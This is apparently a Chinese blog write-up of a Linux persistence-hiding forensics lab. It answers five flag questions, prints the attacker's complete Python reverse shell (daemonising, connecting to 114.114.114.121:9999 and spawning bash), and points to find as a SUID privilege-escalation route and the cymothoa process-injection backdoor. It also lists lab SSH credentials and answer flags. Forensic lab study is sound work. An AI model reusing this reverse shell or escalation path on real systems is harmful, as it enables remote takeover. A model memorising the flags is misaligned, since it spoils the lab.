玄机-第三章

本文最后更新于 2025年3月25日 晚上

linux 权限维持-隐藏

简介

1
2
3
4
5
6
ssh root@env.xj.edisec.net -p  密码  xjqxwcyc
1.黑客隐藏的隐藏的文件 完整路径md5
2.黑客隐藏的文件反弹shell的ip+端口 {ip:port}
3.黑客提权所用的命令 完整路径的md5 flag{md5}
4.黑客尝试注入恶意代码的工具完整路径md5
5.使用命令运行 ./x.xx 执行该文件 将查询的 Exec****** 值 作为flag提交 flag{/xxx/xxx/xxx}

Q1

使用命令查找文件,发现在 /tmp 下还有一个隐藏的 .temp 文件夹

1
find / -name ".*"

进入找到了 1.py 文件

1
flag{109ccb5768c70638e24fb46ee7957e37}

Q2

一个反弹 shell 的文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/python3

import socket,subprocess,os,sys, time

pidrg = os.fork()
if pidrg > 0:
sys.exit(0)

os.chdir("/")
os.setsid()
os.umask(0)
drgpid = os.fork()
if drgpid > 0:
sys.exit(0)

while 1:
try:
sys.stdout.flush()
sys.stderr.flush()
fdreg = open("/dev/null", "w")
sys.stdout = fdreg
sys.stderr = fdreg
sdregs=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sdregs.connect(("114.114.114.121",9999))
os.dup2(sdregs.fileno(),0)
os.dup2(sdregs.fileno(),1)
os.dup2(sdregs.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])
sdregs.close()
except Exception:
pass
time.sleep(2)

找到 IP 和端口:114.114.114.121:9999

1
flag{114.114.114.121:9999}

Q3

一般关于提权的可以先查找跟 suid 有关的东西

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
root@xuanji:~# find / -perm -u=s -type f 2>/dev/null
/bin/mount
/bin/ping
/bin/ping6
/bin/su
/bin/umount
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/find
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/sudo
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign

可以发现过滤出来了一个 find

find 也可以提权:find,所以路径为: /usr/bin/find

1
flag{7fd5884f493f4aaf96abee286ee04120}

Q4

查找隐藏的文件夹

1
find / -type d -name ".*" -ls 2>/dev/null

进入 /opt/.cymothoa-1-beta,发现了 cymothoa

cymothoa 是一款隐秘的后门工具。它通过向目标主机活跃的进程注入恶意代码,从而获取和原进程相同的权限,工具最大的优点就是不创建新的进程,不容易被发现,所以尝试注入恶意代码的工具完整路径为:/opt/.cymothoa-1-beta/cymothoa

1
flag{087c267368ece4fcf422ff733b51aed9}

Q5

Method 1

执行 1.py 文件,因为前面知道文件 #!/usr/bin/python3,用 python3 执行,根据 PID 查找

1
2
3
4
5
6
root@xuanji:/# python3 /tmp/.temp/libprocesshider/1.py
root@xuanji:/# ps -ef | grep "1.py"
root 428 1 0 14:25 ? 00:00:00 python3 /tmp/.temp/libprocesshider/1.py
root 430 405 0 14:25 pts/0 00:00:00 grep --color=auto 1.py
root@xuanji:/# ll /proc/428/exe
lrwxrwxrwx. 1 root root 0 Mar 25 14:25 /proc/428/exe -> /usr/bin/python3.4*

所以 flag 为

1
flag{/usr/bin/python3.4}

Method 2

还可以执行之查找 python3 的运行情况

1
2
3
4
5
root@xuanji:/# python3 /tmp/.temp/libprocesshider/1.py
root@xuanji:/# which python3
/usr/bin/python3
root@xuanji:/# ls -al /usr/bin/python3
lrwxrwxrwx. 1 root root 9 Mar 23 2014 /usr/bin/python3 -> python3.4

玄机-第三章
http://example.com/2025/03/25/玄机-第三章/
作者
butt3rf1y
发布于
2025年3月25日
许可协议